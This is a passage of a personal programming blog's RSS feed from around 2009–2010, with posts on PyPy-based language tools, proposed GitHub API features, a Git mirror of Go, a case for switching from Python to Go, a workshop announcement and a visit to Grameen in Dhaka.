<li><a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/jit/overview.html">JIT</a> —
thanks to the state-of-the-art just-in-time compilation, your language
could be dynamic and still be competitive with lower-level languages in
terms of speed.</li>
<li><a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/garbage_collection.html">Garbage collection</a> —
select from the half dozen already implemented and tested strategies for
use by your language.</li>
<li><a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/sandbox.html">Sandboxing capability</a> — secure your
interpreter so that untrusted code can be safely run on all platforms,
whether it be a browser or an App Engine like service.</li>
<li><a class="reference external" href="http://www.unicode.org/standard/standard.html">Unicode</a> — your language
can be fully unicode-aware and you don't even have to know how case
folding works in different locales.</li>
<li><a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/translation.html#the-stackless-transform">Stackless transformation</a>
— easily add support for your language to be massively concurrent.</li>
<li><a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/translation.html#the-c-back-end">Cross-platform</a>
— have your interpreter run on a number of different backends, whether it
be native or on top of the CLI (.NET/Mono) or the JVM (Java).</li>
<li><a class="reference external" href="http://github.com/espians/ampify/tree/master/src/webkit_bridge/">WebKit bridge</a> — create
browsers which can natively load scripts in your language via script tags
and even access the DOM, just like JavaScript!</li>
</ul>
</blockquote><img src="http://feeds.feedburner.com/~r/asktav/~4/D8a2reG788c" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/anyone-interested-in-articles-on-using-pypy-to-create-new-languages.html</feedburner:origLink></item><item>
    <title>4 Features To Make GitHub An Awesome Platform</title>
    <guid isPermaLink="false">http://tav.espians.com/4-features-to-make-github-an-awesome-platform.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/uaht8HCKNlA/4-features-to-make-github-an-awesome-platform.html</link>
    <pubDate>Wed, 07 Apr 2010 07:27:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right-aligned">
  <a href="http://github.com"><img
     src="http://img.skitch.com/20100628-t3uk9g8baf27y6rjpgigkk88bj.jpg"
     width="375px" height="300px" /></a>
</div><p>I love <a class="reference external" href="http://github.com">GitHub</a>. They make it fun and easy to get involved
with open source projects!</p>
<p>By recognising <a class="reference external" href="http://www.espians.com/getting-started-with-git.html">coding as a social endeavour</a>, they've possibly even
changed the very nature of open source development.</p>
<p>But as great as they are, there's not much of a &ldquo;GitHub ecosystem&rdquo;. In
comparison to say Twitter apps, the number of GitHub apps are few and far
between.</p>
<p>Wouldn't it be great if we could build our own apps like wikis on top of GitHub
repositories?</p>
<p>Perhaps someone would create a peer-to-peer publishing platform or perhaps a web
app which stores plain text data in public repos instead of in opaque databases?</p>
<p>I believe GitHub has the potential to become a truly awesome platform. They
already have a <a class="reference external" href="http://develop.github.com/">decent API</a> &mdash; imagine what would
be possible if it supported the following features:</p>
<hr class="clear" /><ul>
<li><p class="first"><strong>API to Update The Repository via HTTP</strong></p>
<p>Back in 2008, I managed to get my girlfriend to use GitHub. The poor girl
heroically struggled through with Git on the command line before eventually
giving up after a few months.</p>
<p>The fact is, most people are more comfortable using web apps than with command
line tools. It'd be awesome to let them benefit from Git without having to
expose them to the command line.</p>
<p>It'd also be nice for developers if GitHub exposed functionality to modify
files in a repository over HTTP instead of having to resort to libraries like
<a class="reference external" href="http://grit.rubyforge.org/">grit</a> and <a class="reference external" href="http://github.com/jelmer/dulwich">dulwich</a>. This would make it much easier to
develop web apps leveraging Git.</p>
<p>GitHub already has support for editing files from the web browser by POST-ing
to <tt class="docutils literal"><span class="pre">/:user/:repo/tree-save/:branch/:path</span></tt> &mdash; it'd be cool if they could
just expose this via an API:</p>
<blockquote>
<div class="syntax text"><pre>/tree/save/:user/:repo/:branch/:path<br/></pre></div>
</blockquote>
<p>This should take 6 parameters and return the new commit ID:</p>
<blockquote>
<div class="syntax text"><pre>parents    =&gt;   The IDs of the parent commits [optional]<br/>data       =&gt;   The updated content for the specified path<br/>mode       =&gt;   The new mode for the blob [defaults to 100644]<br/>message    =&gt;   The commit message<br/>committer  =&gt;   The committer [defaults to the authenticated user]<br/>author     =&gt;   The commit author [defaults to the committer]<br/></pre></div>
</blockquote>
<p>There should be a complementary API for deleting files:</p>
<blockquote>
<div class="syntax text"><pre>/tree/remove/:user/:repo/:branch/:path<br/></pre></div>
</blockquote>
<p>And, most importantly, an API for creating new files with the same parameters
as <tt class="docutils literal">/tree/save</tt>:</p>
<blockquote>
<div class="syntax text"><pre>/tree/add/:user/:repo/:branch/:path<br/></pre></div>
</blockquote>
<p>It would be nice to have a utility API call for renaming files too:</p>
<blockquote>
<div class="syntax text"><pre>/tree/rename/:user/:repo/:branch/:path<br/></pre></div>
</blockquote>
<p>Which would only have to specify 5 parameters:</p>
<blockquote>
<div class="syntax text"><pre>parent     =&gt;   The ID of the parent commit [optional]<br/>new_path   =&gt;   The new path for the blob at :path<br/>message    =&gt;   The commit message<br/>committer  =&gt;   The committer [defaults to the authenticated user]<br/>author     =&gt;   The commit author [defaults to the committer]<br/></pre></div>
</blockquote>
<p>All the above API calls should result in the <tt class="docutils literal">:branch</tt> ref being updated to
point to the new commit ID and create a new ref where the branch didn't
previously exist.</p>
</li>
<li><p class="first"><strong>API to Access Compare Views</strong></p>
<p>GitHub has wicked support for doing code reviews via what they call <a class="reference external" href="http://github.com/blog/612-introducing-github-compare-view">compare
views</a>. This
feature allows one to see the commits, diffs and comments between any 2 refs.
You have to see it in action to realise how awesome this is:</p>
<blockquote>
<p><a class="reference external" href="http://github.com/jquery/jquery/compare/omgrequire">http://github.com/jquery/jquery/compare/omgrequire</a></p>
</blockquote>
<p>Unfortunately, this feature is not exposed via the API in any way. It would be
very cool to be able to access it:</p>
<blockquote>
<div class="syntax text"><pre>/compare/:user/:repo/[:startRef...]:endRef<br/></pre></div>
</blockquote>
<p>That should return the commits, diffs and comments for the commit range. That
is, everything necessary to recreate the GitHub compare view.</p>
</li>
<li><p class="first"><strong>API to Manage Service Hooks</strong></p>
<p>GitHub already supports extension via <a class="reference external" href="http://help.github.com/post-receive-hooks/">post-receive hooks</a>. This allows you to register
URLs as <a class="reference external" href="http://webhooks.pbworks.com/">web hooks</a> for any repository. GitHub
will POST to these URLs with JSON data whenever someone does a <tt class="docutils literal">git push</tt> to
the repository.</p>
<p>It makes it very easy to do things in response to changes to your
repositories. I've already found it very useful for everything from triggering
build slaves to notifying IRC channels via <a class="reference external" href="http://github.com/tav/scripts/blob/master/gitbot.py">gitbot.py</a> &mdash; which in turn even
triggers regeneration of this blog!</p>
<p>Unfortunately it's a real pain to get users to edit their service hooks. It'd
be great if applications could do this on a user's behalf. The API could be
extended to list all service hooks:</p>
<blockquote>
<div class="syntax text"><pre>/repos/hooks/:user/:repo<br/></pre></div>
</blockquote>
<p>It should be very easy to add and remove hooks:</p>
<blockquote>
<div class="syntax text"><pre>/repos/hooks/:user/:repo/add<br/>/repos/hooks/:user/:repo/remove<br/></pre></div>
</blockquote>
<p>Which would take a single POST-ed parameter:</p>
<blockquote>
<div class="syntax text"><pre>url   =&gt;   The post-receive URL<br/></pre></div>
</blockquote>
<p>This tiny feature would make it a lot more attractive for application
developers as it would make building apps integrated with GitHub very easy!!</p>
</li>
<li><p class="first"><strong>A Way to Pay for API Use</strong></p>
<p>GitHub currently specifies <a class="reference external" href="http://develop.github.com/p/general.html#limitations">API limits</a> of 60 requests per
minute. This works out as a generous 86,400 requests/day per user. But as an
application developer I'd rather not be limited. In fact, seeing as GitHub
already has my billing details, I'd be quite happy to pay something like $20
per million requests &mdash; which should more than cover the bandwidth costs.</p>
<p>I'm quite confident that interesting applications could be built using the API
which would lead to productivity increases which would more than make up for
the cost. To facilitate this, billing would need to be enabled and the
<a class="reference external" href="http://develop.github.com/p/general.html">authentication</a> extended with:</p>
<blockquote>
<div class="syntax text"><pre>api_key     =&gt;   The API key for the developer<br/>signature   =&gt;   The signature for the API request<br/></pre></div>
</blockquote>
<p>The <tt class="docutils literal">signature</tt> would be derived by HMAC-ing the request parameters with a
shared <tt class="docutils literal">api_secret_key</tt> corresponding to the <tt class="docutils literal">api_key</tt>. This would be used
to bypass limits and bill for the API requests whereas the existing <tt class="docutils literal">login</tt>
and <tt class="docutils literal">token</tt> parameters would be used for the authentication.</p>
</li>
</ul>
<p>Given GitHub's <a class="reference external" href="http://github.com/blog/530-how-we-made-github-fast">impressive infrastructure</a> and talent, it should be
relatively easy for them to add these 4 small features. But like any group of
hackers, they need to be convinced that it'd be worthwhile adding these
features.</p>
<p>Perhaps you could ask them for these features? Perhaps you could leave a comment
with what kind of awesome apps you would create with these features in place? Or
perhaps just follow me on GitHub: <a class="reference external" href="http://github.com/tav">github.com/tav</a>.</p>
<p>In any case, let me know what you think. Thanks!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/uaht8HCKNlA" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/4-features-to-make-github-an-awesome-platform.html</feedburner:origLink></item><item>
    <title>Twitter #golang List, Go Mirror on GitHub</title>
    <guid isPermaLink="false">http://tav.espians.com/twitter-golang-list-go-mirror-on-github.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/FLUFc3ZP1us/twitter-golang-list-go-mirror-on-github.html</link>
    <pubDate>Thu, 26 Nov 2009 17:24:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
  <a href="http://github.com/tav/go" title="Go Mirror on GitHub"><img
     src="http://img.skitch.com/20091126-feabbk2hfpdyqgcmg1jhiqsd4h.png"
     alt="Go Mirror on GitHub" width="275px" height="348px" /></a>
</div><p>I've started a Twitter List of those in the community working on the Go
language, libraries, apps or articles:</p>
<ul class="simple">
<li><a class="reference external" href="http://twitter.com/tav/golang">http://twitter.com/tav/golang</a></li>
</ul>
<p>You should <a class="reference external" href="http://twitter.com/tav/golang">follow it</a> to keep track of the
fast-moving developments and let me know &mdash; either in the comments or via <a class="reference external" href="http://twitter.com/tav">&#64;tav</a> &mdash; if I should add you to the list.</p>
<p>And, oh, could we all please normalise on using the <tt class="docutils literal">#golang</tt> hashtag please?
The <tt class="docutils literal">#go</tt> hashtag is used for too many other things &mdash; including <a class="reference external" href="http://en.wikipedia.org/wiki/Go_(game)">that game</a> that some of us love.</p>
<p>I've also started to maintain a <a class="reference external" href="http://github.com/tav/go">Git mirror of the Go repository</a> on GitHub. You should <a class="reference external" href="http://github.com/tav/go">watch it</a> to stay informed of changes to the Go language.</p>
<p>Now, as I explain in the <a class="reference external" href="http://www.espians.com/getting-started-with-git.html">getting started with git</a> article, I consider Git
and Mercurial to be pretty equivalent. The only reason I prefer Git is due to
the wonderful service that is <a class="reference external" href="http://github.com">GitHub</a>.</p>
<p>Not only does it offer a far better social experience, but it's interface is
much better than what Google Code or <a class="reference external" href="http://bitbucket.org/">bitbucket</a>
currently offer. Now, to get started with using the Git mirror, just do:</p>
<div class="syntax bash"><pre><span class="nv">$ </span>git clone git://github.com/tav/go.git<br/></pre></div>
<p>You can then follow the normal <a class="reference external" href="http://golang.org/doc/install.html">installation instructions</a> to set the environment variables and then
run <tt class="docutils literal">./all.bash</tt> inside <tt class="docutils literal">$GOROOT/src</tt>.</p>
<p>Note that by default, the master branch will be checked out &mdash; if you'd rather
not be on the cutting edge, then check out the <tt class="docutils literal">release</tt> tag using:</p>
<div class="syntax bash"><pre><span class="nv">$ </span>git checkout release<br/></pre></div>
<p>Besides being able to track the language developments using GitHub, the main
advantage of the Git mirror is that you can now use it as a <tt class="docutils literal">git submodule</tt>
within your own repositories!</p>
<p>This is the main reason I setup the mirror &mdash; using the wonderful <a class="reference external" href="http://hg-git.github.com/">hg-git plugin</a> by Scott &mdash; but I hope it proves useful to some of
you too. Let me know if it does!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/FLUFc3ZP1us" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/twitter-golang-list-go-mirror-on-github.html</feedburner:origLink></item><item>
    <title>Ciao Python, Hola Go!</title>
    <guid isPermaLink="false">http://tav.espians.com/ciao-python-hola-go.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/1C1iW8_K4xk/ciao-python-hola-go.html</link>
    <pubDate>Wed, 25 Nov 2009 15:27:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
<a href="http://golang.org" title="Go Programming Language"><img
   src="http://cloud.github.com/downloads/tav/plexnet/gfx.logo.go.black.png"
   alt="Go" /></a>
</div><p>This is the first in a series of articles in which I'll document my move away
from Python and the adventures encountered in using <a class="reference external" href="http://golang.org">Go</a> to
build the <a class="reference external" href="http://www.espians.com/plexnet.html">Plexnet</a>, an &ldquo;internet
operating system&rdquo;.</p>
<p>My love affair with Python began in early 2000 when I <a class="reference external" href="http://zwiki.org/Tav">discovered Zwiki</a>. And despite brief flings with other languages &mdash;
Alice, E, Erlang, Lisp, Lua, Objective-C, OCaml, Oz, PowerShell, Ruby, Scheme,
Smalltalk &mdash; I've always returned to the sexiness of Python and the ubiquity of
Javascript.</p>
<p>However, in recent times, I've found Python sadly lacking on a number of fronts,
e.g.</p>
<ol class="arabic">
<li><p class="first"><strong>Abysmal multi-core support.</strong></p>
<p>The <a class="reference external" href="http://docs.python.org/library/multiprocessing.html">multiprocessing</a>
module is a joke and if it were not for the <a class="reference external" href="http://damienkatz.net/2008/03/what_sucks_abou.html">ugly Prolog-inspired syntax</a>, I'd have switched to
Erlang long ago.</p>
</li>
<li><p class="first"><strong>Fragmented networking support.</strong></p>
<p><a class="reference external" href="http://twistedmatrix.com/">Twisted</a> is great, but forces you into callback
hell. <a class="reference external" href="http://eventlet.net/">Eventlet</a> and friends make good use of
<a class="reference external" href="http://codespeak.net/py/0.9.2/greenlet.html">greenlets</a> but still can't
make use of those spare cores on my servers &mdash; <a class="reference external" href="http://pypi.python.org/pypi/Spawning">Spawning</a> helps though. The kqueue/epoll
support in the standard library were, until relatively recently, <a class="reference external" href="http://bugs.python.org/issue5910">broken</a> or non-existent. At least <a class="reference external" href="http://code.google.com/p/pyev/">pyev</a> is cool, but there aren't any decent
frameworks built on it!</p>
</li>
<li><p class="first"><strong>Difficult to secure.</strong></p>
<p>Want to build your own App Engine like service? Good luck securing Python!
It's possible, but we, the open source community, have yet to deliver. Mark
Seaborn has done some great work getting <a class="reference external" href="http://lackingrhoticity.blogspot.com/2009/06/python-standard-library-in-native.html">Python onto Native Client</a>
but you'd still need to port all your C Extensions over. PyPy has a great
<a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/sandbox.html">sandbox</a>, but you
can't use newer Python features nor those C Extensions and, to boot, the
networking support sucks.</p>
</li>
<li><p class="first"><strong>Painful to optimise.</strong></p>
<p>Until <a class="reference external" href="http://codespeak.net/pypy/trunk/pypy/doc/jit/overview.html">PyPy's JIT</a> or <a class="reference external" href="http://code.google.com/p/unladen-swallow/">Unladen
Swallow</a> lands, the main way to
optimise that slow running Python function is to write C extensions. This is
a pain filled process. <a class="reference external" href="http://www.cython.org/">Cython</a> definitely makes it
easier, but you then have to deal with figuring out the limitations of
Cython's syntax!</p>
</li>
</ol>
<p>Now, until last week, I'd just put up with all the problems and waited for <a class="reference external" href="http://codespeak.net/pypy/dist/pypy/doc/">PyPy</a> to mature. And when <a class="reference external" href="http://golang.org/">Go</a> &mdash; the shiny, new programming language from Google &mdash;
came along, I took a brief look and then dismissed it forthwith.</p>
<p>Sure, it looked like a nice programming language. And, sure, the guys behind it
had made some of the biggest contributions to computing to date, including:
UNIX, regular expressions, Plan 9 and even UTF-8! But I still didn't see the
point in switching to Go as my primary language.</p>
<p>But then, a few days ago, whilst reading this <a class="reference external" href="http://www.xent.com/pipermail/fork/Week-of-Mon-20091109/054578.html">wonderful rant</a> by Jeff
Bone on the poor state of today's programming languages, <a class="reference external" href="http://twitter.com/evangineer">&#64;evangineer</a> pointed out that Go had rudimentary support
for <a class="reference external" href="http://code.google.com/p/nativeclient/">Native Client</a>!</p>
<p>And within 24 hours, I was a Go convert. Now don't get me wrong, Python and I
will always be good friends, but there's just no competing with Go. Why?</p>
<ol class="arabic">
<li><p class="first"><strong>Native Client (NaCl) support.</strong></p>
<p><a class="reference external" href="http://code.google.com/p/nativeclient/">NaCl</a>, like its distant cousin
<a class="reference external" href="http://pdos.csail.mit.edu/~baford/vm/">Vx32</a>, allows one to safely execute
untrusted &ldquo;native code&rdquo;, e.g. C code. It's one of the coolest open source
projects to come out of Google!</p>
<p>The most interesting application of such technology is of course as a way to
allow for dynamic loading of browser extensions, e.g. <a class="reference external" href="http://code.google.com/p/nativeclient/wiki/NativeClientInGoogleChrome">Native Client in
Google Chrome</a>.
This is useful 'cos, despite the crazy speeds of <a class="reference external" href="http://code.google.com/p/v8/">V8</a>, you really don't want to be writing the
<a class="reference external" href="http://en.wikipedia.org/wiki/Metaverse">metaverse</a> in Javascript!</p>
<p>Now, for those of you who might think that this is a return to to the world
of crap that was ActiveX and Java applets, I'll explain later how NaCl can be
very much in the spirit of the Open Web. However, first let me explain why we
shouldn't necessarily be too enamoured with Javascript:</p>
<ul>
<li><p class="first"><strong>Javascript has no security model.</strong> If you were to do a client-side
mashup between say your banking application and a photo application, there
is nothing stopping the photo app from having fun with your financial data.</p>
<p><a class="reference external" href="http://code.google.com/p/google-caja/">Caja</a> is definitely amazing work
in this regard, but requires apps to run within containers which most
aren't geared to do &mdash; not to mention the performance hit. <a class="reference external" href="http://www.ecma-international.org/publications/files/drafts/tc39-2009-050.pdf">ES5</a>
will make life a little better in this regard, but that's still a while off&#8230;</p>
</li>
<li><p class="first"><strong>Javascript has no decent concurrency model.</strong> Single-threaded execution
was fine when all we were doing were image replacements on mouseover, but
today's web apps could really do with some form of concurrency model.</p>
<p>The best we could seemingly come up with is the piece of crap that are <a class="reference external" href="http://dev.w3.org/html5/workers/">Web
Workers</a> in HTML5. And <a class="reference external" href="http://www.flapjax-lang.org/">Flapjax</a>, while it manages to bring functional
reactivity to the browser, sadly ignores the whole issue of security.</p>
</li>
</ul>
<p>So it was in this context that we (Espians) worked on things like the
<a class="reference external" href="http://github.com/tav/plexnet/tree/master/source/client/webkit_bridge/">webkit_bridge</a> &mdash;
to act as an interface between the browser's DOM and a PyPy-based interpreter
providing a safe, concurrent, <a class="reference external" href="http://en.wikipedia.org/wiki/Object-capability_model">object-capability</a> based language
called λscript.</p>
<p>But, as my friend Ade would say, Go + NaCl offers a more attractive path of
least resistance! Google are already putting resources behind Chrome, Go and
NaCl &mdash; there's no real reason (technical or otherwise) to duplicate the
work! All we need to do is focus on implementing λscript using Go!</p>
<p>And since people could create apps and services using Go itself, λscript can
be a very minimal layer between the various NaCl processes &mdash; even less work!
Now as to how this could be done in the spirit of the Open Web, consider
this:</p>
<ul class="simple">
<li>NaCl binaries are bloated beasts. It makes sense instead to come up with a
source based packaging structure similar to ebuilds/setuptools/&amp;c. for apps
and services &mdash; these can then be compiled by the client thanks to the
super-fast compilation feature of Go! So we can have &ldquo;view source&rdquo; <em>and</em>
secure apps!</li>
</ul>
<p>Now, we are still a while away from the any of this happening and the NaCl
support within Go <a class="reference external" href="http://github.com/tav/go/tree/master/src/pkg/exp/nacl/">is</a> <a class="reference external" href="http://github.com/tav/go/blob/master/src/pkg/syscall/asm_nacl_386.s">very</a>
<a class="reference external" href="http://github.com/tav/go/blob/master/src/all-nacl.bash">experimental</a>, but
I'm sure it'll improve in time &mdash; especially given the following point.</p>
</li>
<li><p class="first"><strong>Google backing.</strong></p>
<p>Corporate sponsorship tend to make projects worse off &mdash; but with the various
Chrome, NaCl and Go projects, Google have really put together great teams and
resourced them well. And there are lots of Google fanboys who will happily
contribute their time to such projects too &mdash; making them even better!</p>
</li>
<li><p class="first"><strong>Go is a decent language.</strong></p>
<p>Despite seemingly having ignored most of the advances in computer science in
the last 20 years, Go is surprisingly a fun language to code in. The standard
library packages are an impressive start. And you can definitely feel the
influence of Python.</p>
<p>However, runtime performance is an issue for the moment &mdash; there are enough
micro-benchmarks showing Python to be more performant in certain contexts.
This will change though, as:</p>
<ol class="loweralpha simple">
<li>The packages in the standard library are worked on. There are a lot of low
hanging optimisations to make here. A <a class="reference external" href="http://github.com/tav/go/commit/5e0e8e35d5df2533fc7beff9feecbe56333c164e">recent commit</a>
improved the regexp package by a factor of 3-20x!</li>
<li>The compilers are worked on. Right now, <tt class="docutils literal">gccgo</tt> is more performant at
runtime but lacks various features, whilst the <tt class="docutils literal">6g</tt> series has more
features and compiles faster. At some point, the various compilers will
meet in some form, yielding more performant code all round.</li>
<li>The new garbage collector is worked on. The current one is rather naive
but as I understand it, they already have a much more performant one in
the works.</li>
</ol>
<p>The syntax makes a pleasant compromise between C and Python. The
documentation system is excellent &mdash; and the testing framework shows promise.
The only thing I miss in this regard is having some equivalent to <a class="reference external" href="http://docs.python.org/library/doctest.html">doctest</a> &mdash; this should be possible
once <tt class="docutils literal">pkg/exp/eval</tt> for the Go interpreter matures though.</p>
<p>Of course, goroutines rock! Who can say no to a typed-variant of the
<a class="reference external" href="http://en.wikipedia.org/wiki/Pi_calculus">π-calculus</a>? Not to mention
being able to write code like <tt class="docutils literal">go fuck_yourself()</tt> ;p</p>
<p>But the real fun is with the interfaces &mdash; Python's <a class="reference external" href="http://en.wikipedia.org/wiki/Duck_typing">duck-typing</a> brought to a statically typed
language! Who'd have thought? It really is quite brilliant &mdash; at least it
will be once a few decent patterns emerge and are adopted. Until then I
expect people to do all kinds of crazy things with them.</p>
<p>The only thing I (and seemingly a lot of others) really miss is having first
class containers which can handle generic data types like with Python's
<tt class="docutils literal">list</tt>, <tt class="docutils literal">dict</tt>, &amp;c. This is possible in Go right now, but you have to
unbox them everytime which I'd rather not be doing&#8230;</p>
<p>I've also seen a lot of people complain about the lack of exception handling
in Go. I'm not sure what those people are talking about. Go has excellent
exception handling. The &ldquo;comma, ok&rdquo; pattern is elegant enough and the
<tt class="docutils literal">defer</tt> statement provides a very good equivalent to the usual
<tt class="docutils literal">try/finally</tt> and some of the <tt class="docutils literal">with</tt> patterns in Python.</p>
</li>
</ol>
<p>In any case, I hope I make a reasonable case for why moving to Go might be
worthwhile. Over the coming weeks, I'll continue this by documenting my
adventures in the land of Go.</p>
<p>If you'd like to follow along, <a class="reference external" href="http://twitter.com/tav">keep posted by following me</a> on Twitter and let me know what you think in the
comments below. Thanks!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/1C1iW8_K4xk" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/DygLaB4A87k/tc39-2009-050.pdf" fileSize="4558833" type="application/pdf" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/ciao-python-hola-go.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/DygLaB4A87k/tc39-2009-050.pdf" length="4558833" type="application/pdf" /><feedburner:origEnclosureLink>http://www.ecma-international.org/publications/files/drafts/tc39-2009-050.pdf</feedburner:origEnclosureLink></item><item>
    <title>Media Ecologies And Postindustrial Production</title>
    <guid isPermaLink="false">http://tav.espians.com/media-ecologies-and-postindustrial-production.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/zPGNfISqhFo/media-ecologies-and-postindustrial-production.html</link>
    <pubDate>Sun, 20 Sep 2009 20:17:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right-aligned" style="margin-bottom: 20px;">
  <a href="http://www.espach.salford.ac.uk/sssi/p2p/"><img width="340px" height="512px"
  src="http://cloud.github.com/downloads/tav/plexnet/gfx.poster.media-ecologies.small.png"
  /></a>
</div><p>Myself and other crazy visionaries will be speaking in Manchester on the 3rd of
November for the <a class="reference external" href="http://www.espach.salford.ac.uk/sssi/p2p/">Media Ecologies Workshop</a>.</p>
<p>Put together by <a class="reference external" href="http://www.espach.salford.ac.uk/page/Phoebe_Moore">Phoebe Moore</a>, it promises to be a rare
gathering of various pioneering efforts &mdash; from those working on collaborative
platforms to <a class="reference external" href="http://www.espach.salford.ac.uk/sssi/p2p/programme.html">distributed manufacturing</a> efforts.</p>
<p>Sadly it's only a one day event &mdash; so if anyone wants to organise a follow-up
event for the next day, it'd certainly be very welcome!</p>
<p>Some of the speakers like the illustrious <a class="reference external" href="http://www.google.com/search?q=michel+bauwens">Michel Bauwens</a> of the <a class="reference external" href="http://blog.p2pfoundation.net/">P2P Foundation</a> will be coming over from distant lands and
it'd be a shame to only get a day of their time.</p>
<p>In any case, I hope that you can come to Manchester for the event &mdash; it's free!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/zPGNfISqhFo" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/media-ecologies-and-postindustrial-production.html</feedburner:origLink></item><item>
    <title>Inside Grameen with a Nobel Prize Winner</title>
    <guid isPermaLink="false">http://tav.espians.com/inside-grameen-with-a-nobel-prize-winner.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/uuMfV2nE-0w/inside-grameen-with-a-nobel-prize-winner.html</link>
    <pubDate>Sun, 06 Sep 2009 08:57:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Last year I was invited by the visionary Chris Macrae to spend some time at
Grameen HQ in <a class="reference external" href="http://en.wikipedia.org/wiki/Dhaka">Dhaka</a>. Famous for
pioneering the <a class="reference external" href="http://en.wikipedia.org/wiki/Microfinance">Microfinance</a>
revolution with <a class="reference external" href="http://en.wikipedia.org/wiki/Grameen_Bank">Grameen Bank</a>, the
rumours were that big things were afoot in Bangladesh.</p>
<div class="float-right-aligned">
<a href="http://www.flickr.com/photos/27973032@N07/2676194227/"><img
src="http://farm4.static.flickr.com/3006/2676194227_d17be85516_m.jpg"
alt="Grameen HQ" /></a><br />
<div class="image-caption">
  by <a href="http://www.flickr.com/photos/27973032@N07/2676194227/">leonardgavelle</a>
</div>
</div>
<div class="float-right">
<a href="http://www.flickr.com/photos/yodelanecdotal/1879029636/"><img
src="http://farm3.static.flickr.com/2116/1879029636_f7e618ad2b_m.jpg"
alt="Muhammad Yunus" /></a><br />
<div class="image-caption">
  by <a href="http://www.flickr.com/photos/yodelanecdotal/1879029636/">Yodel Anecdotal</a>
</div>
</div><p>Grameen's Nobel Prize-winning founder, <a class="reference external" href="http://en.wikipedia.org/wiki/Muhammad_Yunus">Muhammad Yunus</a>, had recently published his
latest book and I wondered what he and his compatriots really thought about <a class="reference external" href="http://www.amazon.com/Creating-World-Without-Poverty-Capitalism/dp/1586484931">The
Future of Capitalism</a>.</p>
<p>And, boy, was I unprepared!</p>
<p>The first thing that strikes you is just how pervasive Grameen really is in
Bangladesh.</p>
<p>Over in the West, we're only familiar with Grameen Bank &mdash; the multi-billion
dollar bank that micro-finances the poor. But that's just <em>one</em> of over 20
Grameen companies &mdash; which cover everything from energy to textiles.</p>
<div class="float-left-aligned">
<a href="http://flickr.com/photos/olasofia/2688315970/in/set-72157606270139832"><img
src="http://farm4.static.flickr.com/3184/2688315970_2e254f50e8_m.jpg"
alt="Grameen (Village) Kids" /></a><br />
<div class="image-caption">
  by <a href="http://flickr.com/photos/olasofia/2688315970/in/set-72157606270139832">olasofia</a>
</div>
</div><p>Step into the arrivals lounge at the airport in Dhaka and you are greeted by
giant billboards advertising <a class="reference external" href="http://en.wikipedia.org/wiki/Grameenphone">Grameen Phone</a>. Go to buy a drink and you notice
<a class="reference external" href="http://en.wikipedia.org/wiki/Grameen_Danone">Grameen Danone</a>. It seems that
Grameen have successfully parlayed their way into becoming an impressive
conglomerate.</p>
<p>But what's more impressive is the way that they've managed to do this. Sure
enough, they run things in legacy command-and-control structures, but they've
also managed to instill several systemic principles into each of their ventures
along the way.</p>
<p>For example, whilst Grameen Bank would give an unsecured loan, it places certain
constraints on the borrower &mdash; e.g. one can only borrow if their kids are in
school and agree to save a certain amount regularly.</p>
<p>Using free market principles, Grameen have managed to come up with win-win
structures that serve both themselves as an enterprise as well as the
communities around them. This sort of <a class="reference external" href="http://en.wikipedia.org/wiki/Permaculture">permacultural</a> thinking is so rare in this world
and is what makes Grameen so impressive.</p>
<hr class="clear" />
<div class="float-right-aligned">
<a href="http://www.flickr.com/photos/asktav/2681539094/" title="The Dhaka 5 With Yunus @ Grameen HQ"><img
src="http://farm4.static.flickr.com/3103/2681539094_7f705237e7.jpg"
width="500" height="433" alt="The Dhaka 5 With Yunus @ Grameen HQ" /></a>
<br />
<div class="image-caption">
Mark, Chris, Yunus, Mostofa, Sofia &amp; Tav
</div>
</div><p>Discovering Grameen Shakti &mdash; their solar/biogas-based energy company &mdash; was the
highlight of the trip for me. It is the best example of a <a class="reference external" href="http://en.wikipedia.org/wiki/Social_business">Social Business</a> that I've ever seen and <a class="reference external" href="http://vimeo.com/1386496">this
video</a> on it is well worth watching.</p>
<p>Grameen are masters at creating win-win structures. And they have a broad
leadership of about a dozen odd individuals &mdash; all friends from <a class="reference external" href="http://en.wikipedia.org/wiki/Chittagong_University">university days</a> &mdash; who are driven by a
common vision and set of ethics.</p>
<p>It wasn't clear if the emerging next generation of the leadership shared this
